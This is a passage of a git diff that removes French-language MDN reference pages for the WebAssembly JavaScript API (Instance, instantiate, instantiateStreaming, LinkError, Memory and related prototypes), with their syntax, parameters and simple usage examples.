{{SpecName('WebAssembly JS', '#webassemblyinstance-objects', 'WebAssembly.Instance objects')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Instance.exports")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/index.html deleted file mode 100644 index 93c6a9b324..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: WebAssembly.Instance() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance -tags: - - API - - Constructeur - - JavaScript - - Reference - - WebAssembly - - instance -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance ---- -
{{JSRef}}
- -

Un objet WebAssembly.Instance représente un objet exécutable, avec un état, qui est une instance d'un module WebAssembly. Un objet Instance contient l'ensemble des fonctions WebAssembly exportées qui permettent d'invoquer du code WebAssembly depuis du code JavaScript.

- -

Le constructeur WebAssembly.Instance() peut être appelé afin de créer, de façon synchrone, une instance d'un {{jsxref("WebAssembly.Module")}} donné. Toutefois, pour obtenir une instance, on utilisera généralement la fonction asynchrone {{jsxref("WebAssembly.instantiateStreaming()")}}.

- -

Syntaxe

- -
-

Important : L'instanciation de modules volumineux peut être coûteuse en temps/ressource. Instance() ne doit être utilisée que lorsqu'une instanciation synchrone est nécessaire. Pour tous les autres cas, c'est la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} qui devrait être utilisée.

-
- -
var monInstance = new WebAssembly.Instance(module, importObject);
- -

Paramètres

- -
-
module
-
L'objet WebAssembly.Module qu'on souhaite instancier.
-
importObject {{optional_inline}}
-
Un objet qui contient des valeurs à importer dans l'instance. Ce peuvent être des fonctions ou des objets WebAssembly.Memory. Il doit exister une propriété correspondante pour chaque import, si ce n'est pas le cas, un exception WebAssembly.LinkError sera levée.
-
- -

Instances d'Instance

- -

Toutes les instances du type Instance héritent du prototype du constructeur Instance(). Celui-ci peut être modifié afin de modifier l'ensemble des instances de Instance.

- -

Propriétés

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype', 'Propriétés')}}

- -

Méthodes

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype', 'Méthodes')}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblyinstance-objects', 'Instance')}}{{Spec2('WebAssembly JS')}}Définition initiale dans un brouillon de spécification.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Instance")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/prototype/index.html deleted file mode 100644 index 504c57504a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/prototype/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: WebAssembly.Instance.prototype -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - WebAssembly - - instance -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance -translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/prototype ---- -
{{JSRef}} {{SeeCompatTable}}
- -

La propriété WebAssembly.Instance.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Instance()")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

Toutes les instances de {{jsxref("WebAssembly.Instance")}} héritent de Instance.prototype. L'objet qui est le prototype du constructeur {{jsxref("WebAssembly.Instance()")}} permet de modifier l'ensemble des instances {{jsxref( "WebAssembly.Instance")}} à travers la chaîne des prototypes.

- -

Propriétés

- -
-
Instance.prototype.constructor
-
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Instance()")}}.
-
Instance.prototype.exports {{readonlyinline}}
-
Renvoie un objet dont les propriétés sont l'ensemble des fonctions exportées depuis l'instance du module WebAssembly. Cela permet d'y accéder et de les manipuler depuis du code JavaScript.
-
- -

Méthodes

- -

Aucune.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Instance.prototype")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiate/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiate/index.html deleted file mode 100644 index 3c5f54f844..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiate/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: WebAssembly.instantiate() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/instantiate -tags: - - API - - JavaScript - - Méthode - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate ---- -
{{JSRef}}
- -

La fonction WebAssembly.instantiate() permet de compiler et d'instancier du code WebAssembly. Cette fonction possède deux formes :

- -
    -
  • La première forme prend un code binaire WebAssembly sous forme d'un tableau typé ou d'un {{jsxref("ArrayBuffer")}} et effectue les étapes de compilation et d'instanciation en une fois. La valeur de résolution de la promesse renvoyée se compose d'un module {{jsxref("WebAssembly.Module")}} compilé et de sa première instance {{jsxref("WebAssembly.Instance")}}.
    • -
  • La seconde forme prend un module ({{jsxref("WebAssembly.Module")}}) déjà compilé et renvoie une promesse dont la valeur de résolution est une instance de ce module. Cette forme s'avère utile lorsque le module a déjà été compilé.
    • -
- -
-

Attention ! Tant que faire se peut, utiliser la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} car elle est plus efficace et récupère, compile et instancie un module en une seule étape à partir du bytecode et il n'est pas nécessaire de passer par une conversion en {{jsxref("ArrayBuffer")}}.

-
- -

Syntaxe

- -

Première forme : utiliser le bytecode WebAssembly

- -
Promise<ResultObject> WebAssembly.instantiate(bufferSource, importObject);
-
- -

Paramètres

- -
-
bufferSource
-
Un tableau typé ou un {{jsxref("ArrayBuffer")}} qui contient le bytecode du module WebAssembly qu'on souhaite compiler.
-
importObject {{optional_inline}}
-
Un objet qui contient les valeurs à importer dans l'instance qui sera créée. Ces valeurs peuvent être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il doit y avoir une propriété correspondante au sein du module compilé pour chacun des imports, si ce n'est pas le cas, une exception {{jsxref("WebAssembly.LinkError")}} sera levée.
-
- -

Valeur de retour

- -

Une promesse qui est résoluee en un objet qui contient deux champs :

- -
    -
  • module : un objet {{jsxref("WebAssembly.Module")}} qui représente le module WebAssembly compilé. Ce module peut être instancié à nouveau grâce à  {{domxref("Worker.postMessage", "postMessage()")}} ou via un cache IndexedDB.
    • -
  • instance : un objet {{jsxref("WebAssembly.Instance")}} qui contient l'ensemble des fonctions WebAssembly exportées.
    • -
- -

Exceptions

- -
    -
  • Si l'un des paramètres n'a pas le bon type ou la bonne structure, une exception {{jsxref("TypeError")}} sera levée.
    • -
  • Si l'opération échoue, la promesse est rompue avec une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon l'origine de l'échec.
    • -
- -

Seconde forme : utiliser une instance d'un module

- -
Promise<WebAssembly.Instance> WebAssembly.instantiate(module, importObject);
-
- -

Paramètres

- -
-
module
-
L'objet {{jsxref("WebAssembly.Module")}} qui doit être instancié.
-
importObject {{optional_inline}}
-
Un objet qui contient les valeurs à importer dans l'instance qui sera créée. Ces valeurs peuvent être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il doit y avoir une propriété correspondante au sein du module compilé pour chacun des imports, si ce n'est pas le cas, une exception {{jsxref("WebAssembly.LinkError")}} sera levée.
-
- -

Valeur de retour

- -

Une promesse qui est résolue en un objet {{jsxref("WebAssembly.Instance")}}.

- -

Exceptions

- -
    -
  • Si l'un des paramètres n'est pas du bon type ou n'a pas la bonne structure, une exception {{jsxref("TypeError")}} est levée.
    • -
  • Si l'opération échoue, la promesse sera rompue avec une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon l'origine de l'échec.
    • -
- -

Exemples

- -
-

Note : Dans la plupart des cas, on utilisera plus vraisemblablement {{jsxref("WebAssembly.instantiateStreaming()")}} qui est plus efficace que instantiate().

-
- -

Première forme

- -

Après avoir récupéré le bytecode WebAssembly grâce à fetch(), on compile et on instancie le module grâce à la fonction  {{jsxref("WebAssembly.instantiate()")}} et on importe une fonction JavaScript dans le module lors de cette étape. Ensuite, on invoque une fonction WebAssembly exportée via l'instance.

- -
var importObject = {
-  imports: {
-    imported_func: function(arg) {
-      console.log(arg);
-    }
-  }
-};
-
-fetch('simple.wasm').then(response =>
-  response.arrayBuffer()
-).then(bytes =>
-  WebAssembly.instantiate(bytes, importObject)
-).then(result =>
-  result.instance.exports.exported_func()
-);
- -
-

Note : Voir le fichier index.html sur GitHub (ainsi que la démonstration associée) qui contient un exemple analogue et qui utilise la fonction utilitaire fetchAndInstantiate().

-
- -

Seconde forme

- -

Dans l'exemple qui suit (tiré du fichier index-compile.html sur GitHub et qui dispose d'une démonstration), on compile le bytecode du module chargé simple.wasm grâce à la fonction {{jsxref("WebAssembly.compileStreaming()")}} puis on envoie le résultat à un worker grâce à la méthode {{domxref("Worker.postMessage", "postMessage()")}}.

- -
var worker = new Worker("wasm_worker.js");
-
-WebAssembly.compileStreaming(fetch('simple.wasm'))
-.then(mod =>
-  worker.postMessage(mod)
-);
- -

Dans le worker (cf. wasm_worker.js), on définit un objet d'import qui sera utilisé par le module puis on paramètre un gestionnaire d'évènement afin de recevoir le module depuis le thread principal. Lorsqu'on reçoit le module, on en crée une instance grâce à la méthode {{jsxref("WebAssembly.instantiate()")}} puis on appelle une fonction exportée depuis le module.

- -
var importObject = {
-  imports: {
-    imported_func: function(arg) {
-      console.log(arg);
-    }
-  }
-};
-
-onmessage = function(e) {
-  console.log('module reçu depuis le thread principal');
-  var mod = e.data;
-
-  WebAssembly.instantiate(mod, importObject).then(function(instance) {
-    instance.exports.exported_func();
-  });
-};
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblyinstantiate', 'instantiate()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.instantiate")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiatestreaming/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiatestreaming/index.html deleted file mode 100644 index a53701dd6d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/instantiatestreaming/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: WebAssembly.instantiateStreaming() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/instantiateStreaming -tags: - - API - - JavaScript - - Méthode - - Object - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming ---- -
{{JSRef}}
- -

La fonction WebAssembly.instantiateStreaming() permet de compiler et d'instancier un module WebAssembly depuis un flux source. C'est la méthode la plus efficace, et la plus optimisée, permettant de charger du code WebAssembly.

- -

Syntaxe

- -
Promise<ResultObject> WebAssembly.instantiateStreaming(source, importObject);
- -

Paramètres

- -
-
source
-
Un objet {{domxref("Response")}} ou une promesse qui sera tenue avec une valeur {{domxref("Response")}} qui représente la source du module .wasm dont on souhaite récupérer le flux, la compiler puis l'instanciere.
-
importObject {{optional_inline}}
-
Un objet qui contient les valeurs qui doivent être importées dans le nouvel objet Instance résultant. Cela peut être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il est nécessaire qu'il y ait une propriété correspondante pour chaque import déclaré dans le module compilé, sinon, une exception WebAssembly.LinkError sera levée.
-
- -

Valeur de retour

- -

Un objet Promise dont la valeur de résolution est un objet ResultObject contenant deux champs :

- -
    -
  • module : un objet {{jsxref("WebAssembly.Module")}} qui représente le module WebAssembly compilé. Ce module pourra être instancié à nouveau, partagé avec postMessage().
    • -
  • instance : un objet {{jsxref("WebAssembly.Instance")}} qui contient l'ensemble des fonctions WebAssembly exportées.
    • -
- -

Exceptions

- -
    -
  • Si l'un des paramètres n'est pas du bon type ou ne possède pas la bonne structure, une exception {{jsxref("TypeError")}} est déclenchée.
    • -
  • Si l'opération échoue, la promesse lève une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon la cause de l'échec.
    • -
- -

Examples

- -

Dans l'exemple suivant (également disponible sur GitHub : instantiate-streaming.html et avec le résultat live), on récupère le flux d'un module .wasm depuis une source, on le compile et on l'instancie. La promesse est alors résolue avec un objet ResultObject. La méthode instantiateStreaming()  acceptant une promesse fournissant un objet {{domxref("Response")}}, on peut directement l'appel de {{domxref("WindowOrWorkerGlobalScope.fetch()")}} en argument qui transfèrera la réponse lorsque la promesse résultante sera tenue.

- -
var importObject = { imports: { imported_func: arg => console.log(arg) } };
-
-WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
-.then(obj => obj.instance.exports.exported_func());
- -

Ensuite, on accède au champ instance de l'objet ResultObject afin de pouvoir invoquer une des fonctions exportées.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly Embedding', '#webassemblyinstantiatestreaming', 'instantiateStreaming()')}}{{Spec2('WebAssembly Embedding')}}Brouillon de définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.instantiateStreaming")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/linkerror/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/linkerror/index.html deleted file mode 100644 index be70427e74..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/linkerror/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: WebAssembly.LinkError() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/LinkError -tags: - - API - - Constructeur - - JavaScript - - LinkError - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError ---- -
{{JSRef}}
- -

Le constructeur WebAssembly.LinkError() permet de créer un nouvel objet WebAssembly LinkError qui indique qu'une erreur s'est produite lors de l'instanciation du module (en plus des trappes provenant de la fonction initiale).

- -

Syntaxe

- -
new WebAssembly.LinkError(message, nomFichier, numeroLigne)
- -

Paramètres

- -
-
message {{optional_inline}}
-
Une description, compréhensible par un humain, de l'erreur qui s'est produite.
-
nomFichier {{optional_inline}}{{non-standard_inline}}
-
Le nom du fichier qui contient le code à l'origine de l'exception.
-
numeroLigne {{optional_inline}}{{non-standard_inline}}
-
Le numéro de ligne dans le fichier contenant le code à l'origine de l'exception.
-
- -

Propriétés

- -

Le constructeur LinkError ne contient pas de propriétés qui lui soient propres. Il hérite cependant de certaines propriétés via sa chaîne de prototypes.

- -
-
WebAssembly.LinkError.prototype.constructor
-
Cette propriété est la fonction qui permet de créer le prototype de l'instance.
-
{{jsxref("Error.prototype.message", "WebAssembly.LinkError.prototype.message")}}
-
Le message d'erreur. Bien qu'ECMA-262 indique que l'objet doive fournir sa propre propriété message, dans SpiderMonkey, celle-ci est héritée depuis {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "WebAssembly.LinkError.prototype.name")}}
-
Le nom de l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "WebAssembly.LinkError.prototype.fileName")}}
-
Le chemin du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "WebAssembly.LinkError.prototype.lineNumber")}}
-
Le numéro de ligne dans le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "WebAssembly.LinkError.prototype.columnNumber")}}
-
Le numéro de la colonne dans la ligne du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "WebAssembly.LinkError.prototype.stack")}}
-
La pile d'appels à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
- -

Méthodes

- -

Le constructeur LinkError ne contient pas de méthodes qui lui soient propres. Il hérite toutefois de méthodes grâce à sa chaîne de prototypes.

- -
-
{{jsxref("Error.prototype.toSource", "WebAssembly.LinkError.prototype.toSource()")}}
-
Cette méthode renvoie un code qui pourrait être évalué et causere la même erreur. Elle est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.toString", "WebAssembly.LinkError.prototype.toString()")}}
-
Cette méthode renvoie une chaîne de caractères qui représente l'objet de l'erreur. Elle est héritée via {{jsxref("Error")}}.
-
- -

Exemples

- -

Dans le fragment de code qui suit, on crée un nouvelle instance de LinkError puis on imprime les détails dans la console :

- -
try {
-  throw new WebAssembly.LinkError('Coucou', 'unFichier', 10);
-} catch (e) {
-  console.log(e instanceof LinkError); // true
-  console.log(e.message);                 // "Coucou"
-  console.log(e.name);                    // "LinkError"
-  console.log(e.fileName);                // "unFichier"
-  console.log(e.lineNumber);              // 10
-  console.log(e.columnNumber);            // 0
-  console.log(e.stack);                   // renvoie la pile d'appels
-                                          // à l'origine de l'erreur
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}{{Spec2('ESDraft')}}Définition des types standards NativeError.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.LinkError")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/buffer/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/buffer/index.html deleted file mode 100644 index e7c8674713..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/buffer/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: WebAssembly.Memory.prototype.buffer -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/buffer -tags: - - API - - JavaScript - - Propriété - - Reference - - WebAssembly - - memory -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer ---- -
{{JSRef}}
- -

La propriété buffer, rattachée au prototype de l'objet Memory, renvoie le tampon (buffer) contenu dans l'espace mémoire.

- -
memory.buffer
-
- -

Exemples

- -

Dans l'exemple suivant (cf. le fichier memory.html sur GitHub ainsi que le résultat obtenu), on récupère puis on instancie le bytecode memory.wasm grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} tout en important la mémoire créée à la ligne précédente. Ensuite, on enregistre certaines valeurs dans cette mémoire puis on exporte une fonction afin de l'utiliser pour additionner certaines valeurs.

- -
WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
-.then(obj => {
-  var i32 = new Uint32Array(memory.buffer);
-  for (var i = 0; i < 10; i++) {
-    i32[i] = i;
-  }
-  var sum = obj.instance.exports.accumulate(0, 10);
-  console.log(sum);
-});
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymemoryprototypebuffer', 'buffer')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Memory.buffer")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/grow/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/grow/index.html deleted file mode 100644 index 89a98ecbed..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/grow/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: WebAssembly.Memory.prototype.grow() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/grow -tags: - - API - - JavaScript - - Méthode - - Reference - - WebAssembly - - memory -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow ---- -
{{JSRef}}
- -

La méthode grow(), rattachée au prototype de l'objet Memory, permet d'augmenter la taille de l'espace mémoire correspondant d'un nombre de pages WebAssembly.

- -

Syntaxe

- -
memory.grow(nombre);
-
- -

Paramètres

- -
-
nombre
-
Le nombre de pages WebAssembly duquel on veut augmenter l'espace mémoire correspondant à l'objet courant (une page mémoire WebAssembly correspond à 64 Ko).
-
- -

Valeur de retour

- -

La taille de l'espace mémoire avant l'extension, exprimée en nombre de pages WebAssembly.

- -

Exemples

- -

Dans le code qui suit, on crée une instance de Memory qui mesure initialement 1 page (soit 64 Ko) et dont la taille maximale est de 10 pages (soit 6,4 Mo).

- -
var memory = new WebAssembly.Memory({initial:10, maximum:100});
- -

Ensuite, on augmente la taille de l'espace mémoire d'une page grâce à la méthode :

- -
const bytesPerPage = 64 * 1024;
-console.log(memory.buffer.byteLength / bytesPerPage);  // "1"
-console.log(memory.grow(1));                           // "1"
-console.log(memory.buffer.byteLength / bytesPerPage);  // "2"
- -

On voit ici que la valeur de grow() indique l'espace utilisé avant l'agrandissement de la mémoire.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymemoryprototypegrow', 'grow()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Memory.grow")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/index.html deleted file mode 100644 index b6469924d1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: WebAssembly.Memory() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory -tags: - - API - - Constructeur - - JavaScript - - Object - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory ---- -
{{JSRef}}
- -

Le constructeur WebAssembly.Memory() crée un nouvel objet Memory dont la propriété {{jsxref("WebAssembly/Memory/buffer","buffer")}} est un {{jsxref("ArrayBuffer")}} redimensionnable qui contient les octets de mémoire bruts accessibles par une instance WebAssembly.

- -

Un espace mémoire créé depuis du code JavaScript ou depuis du code WebAssembly sera accessible et modifiable (mutable) depuis JavaScript et depuis WebAssembly.

- -

Syntaxe

- -
var maMemoire = new WebAssembly.Memory(descripteurMemoire);
- -

Paramètres

- -
-
descripteurMemoire
-
Un objet qui contient les propriétés suivantes : -
-
initial
-
La taille initiale de cet espace mémoire WebAssembly, exprimée en nombre de pages WebAssembly.
-
maximum {{optional_inline}}
-
La taille maximale autorisée pour cet espace mémoire WebAssembly, exprimée en nombre de pages WebAssembly. Lorsque ce paramètre est utilisé, il est fournit comme indication au moteur pour que celui-ci réserve l'espace mémoire correspondant. Toutefois, le moteur peut choisir d'ignorer cette indication. Dans la plupart des cas, il n'est pas nécessaire d'indiquer un maximum pour les modules WebAssembly.
-
-
-
- -
-

Note : Une page mémoire WebAssembly correspond à une taille fixe de 65 536 octets, soit environ 64 Ko.

-
- -

Exceptions

- -
    -
  • Si descripteurMemoire n'est pas un objet, une exception {{jsxref("TypeError")}} sera levée.
    • -
  • Si maximum est indiqué et qu'il est inférieur à initial, une exception {{jsxref("RangeError")}} sera levée.
    • -
- -

Méthodes du constructeur Memory

- -

Aucune.

- -

Instances de Memory

- -

Toutes les instances de Memory héritent des propriétés du prototype du constructeur Memory() qui peut être utilisé afin de modifier le comportement de l'ensemble des instances de Memory.

- -

Propriétés

- -
-
Memory.prototype.constructor
-
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Memory()")}}.
-
{{jsxref("WebAssembly/Memory/buffer","Memory.prototype.buffer")}}
-
Une propriété d'accesseur qui renvoie le tampon contenu dans l'espace mémoire.
-
- -

Méthodes

- -
-
{{jsxref("WebAssembly/Memory/grow","Memory.prototype.grow()")}}
-
Cette méthode permet d'augmenter la taille de l'espace mémoire d'un nombre de pages donné (dont chacune mesure 64 Ko).
-
- -

Exemples

- -

Il existe deux façons de créer un objet WebAssembly.Memory. La première consiste à le créer explicitement en JavaScript. Avec l'instruction qui suit, on crée un espace mémoire avec une taille initiale de 10 pages (soit 640 Ko) et une taille maximale de 100 pages (soit 6,4 Mo).

- -
var memoire = new WebAssembly.Memory({initial:10, maximum:100});
- -

La seconde méthode permettant d'obtenir un objet WebAssembly.Memory est de l'exporter depuis un module WebAssembly. Dans l'exemple suivant (cf. le fichier memory.html sur GitHub ainsi que le résultat obtenu) on récupère et on instancie le bytecode memory.wasm grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} tout en important la mémoire créée à la ligne précédente. Ensuite, on enregistre des valeurs au sein de cette mémoire puis on exporte une fonction qu'on utilise pour additionner certaines valeurs.

- -
WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
-.then(obj => {
-  var i32 = new Uint32Array(memory.buffer);
-  for (var i = 0; i < 10; i++) {
-    i32[i] = i;
-  }
-  var sum = obj.instance.exports.accumulate(0, 10);
-  console.log(sum);
-});
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymemory-objects', 'Memory')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Memory")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/prototype/index.html deleted file mode 100644 index 32b16d8969..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/prototype/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: WebAssembly.Memory.prototype -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/prototype -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - WebAssembly - - memory -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory -translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/prototype ---- -
{{JSRef}} {{SeeCompatTable}}
- -

La propriété WebAssembly.Memory.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Memory()")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

Toutes les instances de {{jsxref("WebAssembly.Memory")}} héritent de Memory.prototype. Le prototype du constructeur {{jsxref("WebAssembly.Memory()")}} peut être modifié afin de modifier le comportement de l'ensemble des instances de {{jsxref( "WebAssembly.Memory")}}.

- -

Propriétés

- -
-
Memory.prototype.constructor
-
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Memory()")}}.
-
{{jsxref("WebAssembly/Memory/buffer","Memory.prototype.buffer")}}
-
Une propriété d'accesseur qui renvoie le tampon contenu dans l'espace mémoire.
-
-

Méthodes

-
-
{{jsxref("WebAssembly/Memory/grow","Memory.prototype.grow()")}}
-
Cette méthode permet d'accroître la taille de l'espace mémoire en ajoutant un nombre de pages WebAssembly (dont chacune mesure 64 Ko).
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymemory-objects', 'Memory')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Memory.prototype")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/customsections/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/customsections/index.html deleted file mode 100644 index 5b9185d4f6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/customsections/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: WebAssembly.Module.customSections() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/customSections -tags: - - API - - Constructeur - - JavaScript - - Module - - Méthode - - Object - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/customSections ---- -
{{JSRef}}
- -

La méthode WebAssembly.customSections() renvoie un tableau qui contient les sections personnalisées (custom sections) disponibles dans un module WebAssembly et qui ont un nom donné.

- -

Syntaxe

- -
var custSec = WebAssembly.Module.customSections(module, nomSection);
- -

Paramètres

- -
-
module
-
L'objet {{jsxref("WebAssembly.Module")}} pour lequel on veut obtenir les sections personnalisées.
-
nomSection
-
Le nom de la section personnalisée qu'on souhaite obtenir.
-
- -

